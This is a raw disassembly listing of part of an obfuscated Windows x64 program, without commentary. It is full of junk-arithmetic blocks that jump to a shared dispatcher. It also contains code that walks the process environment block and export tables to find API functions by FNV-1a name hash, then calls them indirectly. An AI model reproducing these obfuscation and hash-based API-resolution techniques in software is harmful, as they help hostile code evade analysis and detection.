add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14046413b
push rax
pushf
mov eax, 0x64da409e
pushf
not eax
add eax, 0xd18cd606
xor eax, 0x85bb984d
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x88ada36b
xor eax, 0xb9e74458
rol eax, 0x11
popf
pushf
not eax
add eax, 0xaaad606e
xor eax, 0x972bdd85
rol eax, 0xf9
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xd5acba39
pushf
not eax
add eax, 0xebd426b6
xor eax, 0xcf71e991
rol eax, 0x26
popf
pushf
not eax
add eax, 0xee631024
xor eax, 0x990994ad
rol eax, 0xed
popf
jmp 0x140461501
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0x1b1c4933
pushf
not eax
add eax, 0x952b7907
xor eax, 0xd14d8261
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xcd3109a5
xor eax, 0xa27f7ec9
rol eax, 0x54
popf
jmp 0x140461501
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
jmp 0x140464749
lea rax, [rbp - 0x10]
mov qword [rbp + 0x30], rax
lea rdx, [0x1877932bd]
pushf
sub rdx, 0x473a1365
popf
lea rcx, [rbp - 0x10]
call fcn.14013b390
mov rbx, rax
lea rdx, [0x1abf3d045]
pushf
sub rdx, 0x6bb4b10d
popf
lea rcx, [rbp - 0x30]
call fcn.14013b390
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x19144efd0]
pushf
sub rcx, 0x5105a260
popf
call fcn.1402c2e70
lea rdx, [0x1b2ac0b38]
pushf
sub rdx, 0x726cbce8
popf
lea rcx, [rbp + 0x60]
cmp byte [0x1403f4fa0], 0
je 0x1404642f2
push rax
pushf
mov eax, 0x4b722315
pushf
not eax
add eax, 0x934bca66
xor eax, 0x9827e085
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xb0de4661
xor eax, 0xbfd1a089
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xaa94aaef
xor eax, 0x82464f3b
rol eax, 0x82
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x3902d884
pushf
not eax
add eax, 0xa87eb73e
xor eax, 0xead62152
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xaa8b1b11
xor eax, 0x80e93dd0
rol eax, 0x65
popf
pushf
not eax
add eax, 0xf674c478
xor eax, 0xaebe84e7
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x89062277
xor eax, 0xa872c758
rol eax, 0
popf
jmp 0x140461501
call fcn.14013b390
nop
lea rdx, [0x182e2bc6c]
pushf
sub rdx, 0x42a39d34
popf
lea rcx, [rbp + 0x80]
call fcn.14013b390
nop
lea rdx, [0x1b106d01b]
pushf
sub rdx, 0x70c781ab
popf
lea rcx, [rbp + 0xa0]
call fcn.14013b390
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
movdqa xmm2, xmmword [0x1403cc600]
mov byte [rbp + 0xc0], 0
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rbp + 0x70]
movups xmmword [rsp + 0x48], xmm1
movdqa xmm0, xmm2
movdqu xmmword [rbp + 0x70], xmm2
mov byte [rbp + 0x60], 0
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rsp + 0x68], xmm1
movdqa xmm0, xmm2
movdqu xmmword [rbp + 0x90], xmm2
mov byte [rbp + 0x80], 0
movups xmm0, xmmword [rbp + 0xa0]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rbp + 0xb0]
movups xmmword [rbp - 0x78], xmm1
movdqa xmm0, xmm2
movdqu xmmword [rbp + 0xb0], xmm2
mov byte [rbp + 0xa0], 0
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm2
movdqa xmm0, xmm2
movdqu xmmword [rbp + 0xd0], xmm2
mov byte [rbp + 0xc0], 0
mov r8d, 0x15315008
pushf
not r8d
add r8d, 0xc7ba6d54
xor r8d, 0x8bcba560
rol r8d, 0x38
popf
pushf
not r8d
add r8d, 0xcc63c20d
xor r8d, 0xdfad8778
rol r8d, 0xa0
popf
pushf
not r8d
add r8d, 0xc146c39e
xor r8d, 0x8e9e43c9
rol r8d, 0
popf
pushf
not r8d
add r8d, 0x98cd8bea
xor r8d, 0xcc2d0331
rol r8d, 0x69
popf
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.140457673
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140464519
push rax
pushf
mov eax, 0x14167df
pushf
not eax
add eax, 0xc1fdc825
xor eax, 0xd4d33b36
rol eax, 0xed
popf
pushf
not eax
add eax, 0x99467dab
xor eax, 0xb4bf2553
rol eax, 0x10
popf
pushf
not eax
add eax, 0xf7ac4373
xor eax, 0x9003d6ce
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xde00d7cd
xor eax, 0xdc4e431e
rol eax, 0xac
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xc80b8eb
pushf
not eax
add eax, 0xfda0f92d
xor eax, 0xe20a8858
rol eax, 0x21
popf
pushf
not eax
add eax, 0x9bde9541
xor eax, 0x8bf17e5f
rol eax, 0x59
popf
pushf
not eax
add eax, 0x9bb3b9a5
xor eax, 0xe7f6c8ae
rol eax, 0x8a
popf
jmp 0x140461501
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1404645a5
push rax
pushf
mov eax, 0x6f0a2b72
pushf
not eax
add eax, 0xf177b268
xor eax, 0xd5ef6761
rol eax, 0x20
popf
pushf
not eax
add eax, 0xee0f0076
xor eax, 0x968ce6e1
rol eax, 0x36
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xd3e70bb4
pushf
not eax
add eax, 0x863682a8
xor eax, 0xea37e95c
rol eax, 0x49
popf
pushf
not eax
add eax, 0xbcbcaf99
xor eax, 0xd46b9bbd
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xf23bdcc0
xor eax, 0xf9c58217
rol eax, 0x90
popf
jmp 0x140461501
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140464633
push rax
pushf
mov eax, 0x4133967a
pushf
not eax
add eax, 0x9ef1eda3
xor eax, 0xb1be1c67
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x881ec8f2
xor eax, 0x86f18681
rol eax, 0x9a
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x93200a97
pushf
not eax
add eax, 0xbd83534d
xor eax, 0x8da7782a
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xccfb6dd4
xor eax, 0xe4a8da26
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xef0fc4d4
xor eax, 0xd2351901
rol eax, 0x54
popf
jmp 0x140461501
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0xb8c25a16
pushf
not eax
add eax, 0xfa8c2ae5
xor eax, 0xc90d6bcc
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xb72a6547
xor eax, 0xd1748d94
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xc42cf380
xor eax, 0xdf448821
rol eax, 0x59
popf
pushf
not eax
add eax, 0xcf487f75
xor eax, 0xbc67a98f
rol eax, 0x27
popf
jmp 0x140461501
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
lea rcx, [rbp + 0x60]
call fcn.1404276ce
mov byte [0x1403f4cc0], 1
jmp 0x1404650dd
call fcn.14013b390
nop
lea rdx, [0x1844249e1]
pushf
sub rdx, 0x44032aa9
popf
lea rcx, [rbp + 0x80]
call fcn.14013b390
nop
lea rdx, [0x1a970eb0a]
pushf
sub rdx, 0x69319c9a
popf
lea rcx, [rbp + 0xa0]
call fcn.14013b390
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
movdqa xmm2, xmmword [0x1403cc600]
mov byte [rbp + 0xc0], 0
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rbp + 0x70]
movups xmmword [rsp + 0x48], xmm1
movdqa xmm0, xmm2
movdqu xmmword [rbp + 0x70], xmm2
mov byte [rbp + 0x60], 0
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rsp + 0x68], xmm1
movdqa xmm0, xmm2
movdqu xmmword [rbp + 0x90], xmm2
mov byte [rbp + 0x80], 0
movups xmm0, xmmword [rbp + 0xa0]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rbp + 0xb0]
movups xmmword [rbp - 0x78], xmm1
movdqa xmm0, xmm2
movdqu xmmword [rbp + 0xb0], xmm2
mov byte [rbp + 0xa0], 0
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm2
movdqa xmm0, xmm2
movdqu xmmword [rbp + 0xd0], xmm2
mov byte [rbp + 0xc0], 0
mov r8d, 0x1f0684ed
pushf
not r8d
add r8d, 0x9a031002
xor r8d, 0xa4c96212
rol r8d, 0x61
popf
pushf
not r8d
add r8d, 0xf791d23f
xor r8d, 0xdccaf3ba
rol r8d, 0xf2
popf
pushf
not r8d
add r8d, 0xc31efd66
xor r8d, 0xf4ef59b2
rol r8d, 0x77
popf
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.140457673
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140464946
push rax
pushf
mov eax, 0xba77eb6b
pushf
not eax
add eax, 0xf9682da0
xor eax, 0xbe782f85
rol eax, 0x32
popf
pushf
not eax
add eax, 0xb440c6c2
xor eax, 0xfd7ae520
rol eax, 0x39
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x25717ae
pushf
not eax
add eax, 0xfac8e173
xor eax, 0xd6178605
rol eax, 0x49
popf
pushf
not eax
add eax, 0x94a92ff5
xor eax, 0xc4ecc926
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x99c95acc
xor eax, 0xe6d1273e
rol eax, 0x23
popf
jmp 0x140461501
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1404649e5
push rax
pushf
mov eax, 0x6897c0a0
pushf
not eax
add eax, 0xab775d7e
xor eax, 0x80f9d910
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xac643aa2
xor eax, 0xd2744bfc
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xc72a4554
xor eax, 0xbe486a29
rol eax, 0xcb
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xc94192db
pushf
not eax
add eax, 0xc63daf28
xor eax, 0x96d2e6fa
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xf7cdee75
xor eax, 0xfd149b97
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xdf1f464e
xor eax, 0xe8b1f098
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xa2399c75
xor eax, 0x9302a673
rol eax, 0x6f
popf
jmp 0x140461501
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140464a86
push rax
pushf
mov eax, 0x32e9eddd
pushf
not eax
add eax, 0xfc1bf370
xor eax, 0xdd909c4d
rol eax, 9
popf
pushf
not eax
add eax, 0xd8d33572
xor eax, 0x939f7560
rol eax, 0x9d
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x5d0727f2
pushf
not eax
add eax, 0xb1331d88
xor eax, 0xf9b41ef1
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xb590ac26
xor eax, 0xb93c1672
rol eax, 0xee
popf
jmp 0x140461501
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0xa8c7bc6b
pushf
not eax
add eax, 0xc37ce74d
xor eax, 0xfd71805d
rol eax, 0x65
popf
pushf
not eax
add eax, 0xe061d3db
xor eax, 0xe111ad9b
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x8989f2cb
xor eax, 0x98b76f5e
rol eax, 0xe5
popf
jmp 0x140461501
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
lea rcx, [rbp + 0x60]
call fcn.1404276ce
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
push rax
pushf
mov eax, 0x456f67ee
pushf
not eax
add eax, 0xcd854b08
xor eax, 0xca5816cf
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xa2cc9102
xor eax, 0x86d7335f
rol eax, 2
popf
pushf
not eax
add eax, 0x821f4ded
xor eax, 0xa176f7ff
rol eax, 0x41
popf
pushf
not eax
add eax, 0x9582ad3c
xor eax, 0xbf8d944e
rol eax, 1
popf
jmp 0x140461501
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140464c48
push rax
pushf
mov eax, 0xea13f8a3
pushf
not eax
add eax, 0xa73b61d9
xor eax, 0x9ed71e82
rol eax, 0xde
popf
pushf
not eax
add eax, 0xaa4b028a
xor eax, 0xe14ee4d5
rol eax, 0x40
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xf2447e6d
pushf
not eax
add eax, 0x8c1c57bd
xor eax, 0xaeaadfa5
rol eax, 0x58
popf
pushf
not eax
add eax, 0xe53a642c
xor eax, 0xfe02e725
rol eax, 0xec
popf
jmp 0x140461501
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140464cb7
push rax
pushf
mov eax, 0xf8aee6f8
pushf
not eax
add eax, 0xc3637b99
xor eax, 0x8c17b48c
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xa806f94d
xor eax, 0x965e3311
rol eax, 0xdd
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xb9c80eff
pushf
not eax
add eax, 0xeac922c8
xor eax, 0xef8151c6
rol eax, 0x16
popf
pushf
not eax
add eax, 0x9b20a9b5
xor eax, 0xb76909a4
rol eax, 0xe7
popf
jmp 0x140461501
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xac3a936e
pushf
not eax
add eax, 0xa3e56ca3
xor eax, 0x82be40b4
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb81f9bed
xor eax, 0xc97d08b5
rol eax, 0x23
popf
jmp 0x140461501
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0xa0ba0967
pushf
not r8d
add r8d, 0xe02293bb
xor r8d, 0xde3fb949
rol r8d, 0xf4
popf
pushf
not r8d
add r8d, 0xd2dec6d9
xor r8d, 0xc2dc405b
rol r8d, 0x37
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140464db9
push rax
pushf
mov eax, 0x2ab9cfe3
pushf
not eax
add eax, 0xd6bf7896
xor eax, 0x9ca4aaf3
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xb42da71c
xor eax, 0x81eca4da
rol eax, 0x2d
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xbe3b8048
pushf
not eax
add eax, 0xe35d39a3
xor eax, 0xccc088e6
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xd354dd7f
xor eax, 0xabe3856d
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xf70ce3ed
xor eax, 0xdf1559bb
rol eax, 0xd
popf
jmp 0x140461501
nop dword [rax]
push rax
pushf
mov eax, 0xe37d80e6
pushf
not eax
add eax, 0xe4a4bcd0
xor eax, 0xc726c523
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xa207df20
xor eax, 0x9810dcc5
rol eax, 0xec
popf
pushf
not eax
add eax, 0xec384cf8
xor eax, 0x8e673d3f
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xf4758400
xor eax, 0xa1e6e9f9
rol eax, 0x67
popf
jmp 0x140461501
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140464ea6
push rax
pushf
mov eax, 0xbf14ad6b
pushf
not eax
add eax, 0xc95b6c7f
xor eax, 0xa09ad384
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x8358ad4b
xor eax, 0xc601c97a
rol eax, 0x3f
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xd5e0d7a5
pushf
not eax
add eax, 0x9e3bcf0a
xor eax, 0xfe71e3c5
rol eax, 6
popf
pushf
not eax
add eax, 0xe95b41e3
xor eax, 0xfdfce73d
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xcdacf9d7
xor eax, 0x85354e07
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x9d10f8db
xor eax, 0xfee7d151
rol eax, 0xf7
popf
jmp 0x140461501
cmp r8d, 0x942cc8c8
je 0x140464f3b
push rax
pushf
mov eax, 0xfffce207
pushf
not eax
add eax, 0x9fef22e2
xor eax, 0xcf04cb92
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xdd38baf2
xor eax, 0xbe6751a8
rol eax, 0xa0
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x13384f55
pushf
not eax
add eax, 0xe698f3c5
xor eax, 0xc4b2ec71
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x9eb7bbc8
xor eax, 0xdd1bd2ff
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xe6514e83
xor eax, 0x8de41d55
rol eax, 0xf
popf
pushf
not eax
add eax, 0xe53c4b7b
xor eax, 0xd04e51b1
rol eax, 0x8b
popf
jmp 0x140461501
test r9d, r9d
jne 0x140464fdf
push rax
pushf
mov eax, 0x57523f24
pushf
not eax
add eax, 0xf7f52181
xor eax, 0xac067d4c
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x99319c8a
xor eax, 0xed6f360a
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xb47065a0
xor eax, 0x9fce8b87
rol eax, 0x88
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xd93b023d
pushf
not eax
add eax, 0xaf1eb963
xor eax, 0xe7986a4d
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xc080d0a0
xor eax, 0xe91eaf76
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x8761ab0f
xor eax, 0xa0c4f121
rol eax, 0x47
popf
jmp 0x140461501
mov rax, qword [rax]
jmp 0x140464bf2
mov ecx, dword [rdi + 0x24]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rcx + rdx*4]
mov ecx, 0x43d7f8fb
pushf
not ecx
add ecx, 0x85c2ce87
xor ecx, 0xf9231ecc
rol ecx, 0x4f
popf
pushf
not ecx
add ecx, 0xa52e4c20
xor ecx, 0xbd8a6fbb
rol ecx, 0xa7
popf
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
jmp 0x1404650db
call rax
cmp byte [0x1403f4fa0], 0
jne 0x14046511d
push rax
pushf
mov eax, 0x62eb66a6
pushf
not eax
add eax, 0xf11e7ca7
xor eax, 0xf570b511
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xe0e98eb6
xor eax, 0x876e4b13
rol eax, 0x86
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x3d51595d
pushf
not eax
add eax, 0x82491a27
xor eax, 0x800d4563
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xf71a26c6
xor eax, 0x86c0788d
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xe7725439
xor eax, 0x9e30d119
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xbe172301
xor eax, 0xb2ae6156
rol eax, 0x99
popf
jmp 0x140461501
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
push rax
pushf
mov eax, 0x5040c46b
pushf
not eax
add eax, 0xff2c3b5b
xor eax, 0x83dcde4f
rol eax, 0xd
popf
pushf
not eax
add eax, 0x8b17009f
xor eax, 0x9602a9f8
rol eax, 0xf8
popf
jmp 0x140461501
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x14046523f
push rax
pushf
mov eax, 0x4f7e17ab
pushf
not eax
add eax, 0xb188efec
xor eax, 0xa5ee61a8
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xa73cbc86
xor eax, 0xededc266
rol eax, 0x66
popf
pushf
not eax
add eax, 0xd720d511
xor eax, 0xecba32ec
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xf3dfe3d8
xor eax, 0xf6b5c35e
rol eax, 0x5d
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x4be82e59
pushf
not eax
add eax, 0xb92153d2
xor eax, 0xa7299d2f
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x9fb598f7
xor eax, 0xd319981e
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xfee2baf0
xor eax, 0xa69c6077
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xbbbd03d6
xor eax, 0xb57d04aa
rol eax, 0xc1
popf
jmp 0x140461501
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1404652e7
push rax
pushf
mov eax, 0x61ba770a
pushf
not eax
add eax, 0x86a8757c
xor eax, 0xcc48e644
rol eax, 0x91
popf
pushf
not eax
add eax, 0xbe29ec2f
xor eax, 0xf38d9ba2
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xcfb5f1ff
xor eax, 0x9beed5f4
rol eax, 0x51
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x7c074941
pushf
not eax
add eax, 0xa12b4e9c
xor eax, 0xf43b9b83
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xb5e408d1
xor eax, 0xf80be44e
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x88df7c9a
xor eax, 0xf1d9abda
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x8fe5c704
xor eax, 0xb97ae59f
rol eax, 0x96
popf
jmp 0x140461501
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x51efcd80
pushf
not eax
add eax, 0xe1d34487
xor eax, 0xd33c5c7b
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xa9c95ff1
xor eax, 0xd4d656bd
rol eax, 0x72
popf
pushf
not eax
add eax, 0xcd007512
xor eax, 0xa41f11d2
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x8f80ed91
xor eax, 0x9f456616
rol eax, 0x8f
popf
jmp 0x140461501
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov r8d, 0x2d5dea07
pushf
not r8d
add r8d, 0x9dd13524
xor r8d, 0xa2723f70
rol r8d, 0xa0
popf
pushf
not r8d
add r8d, 0xbfda6260
xor r8d, 0xbc070017
rol r8d, 0xd0
popf
pushf
not r8d
add r8d, 0xeb8882ec
xor r8d, 0xa6deaa1f
rol r8d, 0x7f
popf
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140465474
push rax
pushf
mov eax, 0xab7355de
pushf
not eax
add eax, 0x8f717c49
xor eax, 0xb6e193d4
rol eax, 0x50
popf
pushf
not eax
add eax, 0xebdcc3f2
xor eax, 0xc047d8d8
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xbef76556
xor eax, 0xbfec3770
rol eax, 0x62
popf
pushf
not eax
add eax, 0xfec5f03c
xor eax, 0x9410319c
rol eax, 0x7b
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x2d4f1960
pushf
not eax
add eax, 0xd0a58fa2
xor eax, 0x94d3a085
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xdefa59a2
xor eax, 0xbd3b8aeb
rol eax, 0x34
popf
jmp 0x140461501
nop dword [rax]
push rax
pushf
mov eax, 0x77567b44
pushf
not eax
add eax, 0x897c110e
xor eax, 0xf93f1f5a
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x9348d23a
xor eax, 0xb08c2764
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xf09759ec
xor eax, 0xeb8af8d0
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xb703a841
xor eax, 0x94f1cd87
rol eax, 0x5f
popf
jmp 0x140461501
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140465574
push rax
pushf
mov eax, 0xe49068a9
pushf
not eax
add eax, 0xbd88425e
xor eax, 0xd0a5cfe2
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x90bf2ea2
xor eax, 0xd991008b
rol eax, 0x16
popf
pushf
not eax
add eax, 0x9c0c653f
xor eax, 0xef10e771
rol eax, 0x56
popf
pushf
not eax
add eax, 0xc163f1cf
xor eax, 0x86bd4b28
rol eax, 0x87
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xad410531
pushf
not eax
add eax, 0x98ea575e
xor eax, 0xd26da913
rol eax, 0x32
popf
pushf
not eax
add eax, 0x8447dae0
xor eax, 0xd296dae6
rol eax, 0x67
popf
pushf
not eax
add eax, 0xe1a60a24
xor eax, 0xf3917081
rol eax, 0x1c
popf
jmp 0x140461501
cmp r8d, 0x82d86269
je 0x1404655f6
push rax
pushf
mov eax, 0x848266bd
pushf
not eax
add eax, 0x8da347aa
xor eax, 0xdba63934
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xc433249f
xor eax, 0xff4eedd0
rol eax, 0xed
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x7e75b4a
pushf
not eax
add eax, 0xe7dd72a6
xor eax, 0xeabf444e
rol eax, 0x24
popf
pushf
not eax
add eax, 0xe7ec86f1
xor eax, 0xa3f170d8
rol eax, 0x41
popf
pushf
not eax
add eax, 0x80980dc6
xor eax, 0x96fe47dc
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xd21359c5
xor eax, 0xea89a4f8
rol eax, 0xbf
popf
jmp 0x140461501
test r9d, r9d
jne 0x14046569a
push rax
pushf
mov eax, 0x9eb8fe67
pushf
not eax
add eax, 0xa4d40f6f
xor eax, 0xfd680754
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xb248cd96
xor eax, 0xd0c528e8
rol eax, 0x48
popf
pushf
not eax
add eax, 0xd36a6a68
xor eax, 0x9783357b
rol eax, 0xc3
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x24bdf356
pushf
not eax
add eax, 0xe2e2a614
xor eax, 0xedbd6fe1
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xd246eee4
xor eax, 0xe493278c
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xa08f6d04
xor eax, 0xd7984366
rol eax, 7
popf
jmp 0x140461501
mov rax, qword [rax]
jmp 0x1404651c3
mov ecx, dword [rdi + 0x24]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
mov ecx, 0x9ed33b2e
pushf
not ecx
add ecx, 0xe0da0b5a
xor ecx, 0x91937c94
rol ecx, 0xac
popf
pushf
not ecx
add ecx, 0x969294fa
xor ecx, 0xbbcca46e
rol ecx, 0x47
popf
pushf
not ecx
add ecx, 0x8115be90
xor ecx, 0xacb3a2c2
rol ecx, 0x2d
popf
pushf
not ecx
add ecx, 0xfa43b819
xor ecx, 0xf191ed2f
rol ecx, 0x34
popf
jmp 0x1404657c0
call rax
push rax
pushf
mov eax, 0x408c8f20
pushf
not eax
add eax, 0x85d29243
xor eax, 0xea3d0d64
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xa4300064
xor eax, 0xcbbdca52
rol eax, 0x5f
popf
jmp 0x140461501
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.140319880
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call fcn.14012a680
int3
call fcn.14012a5e0
int3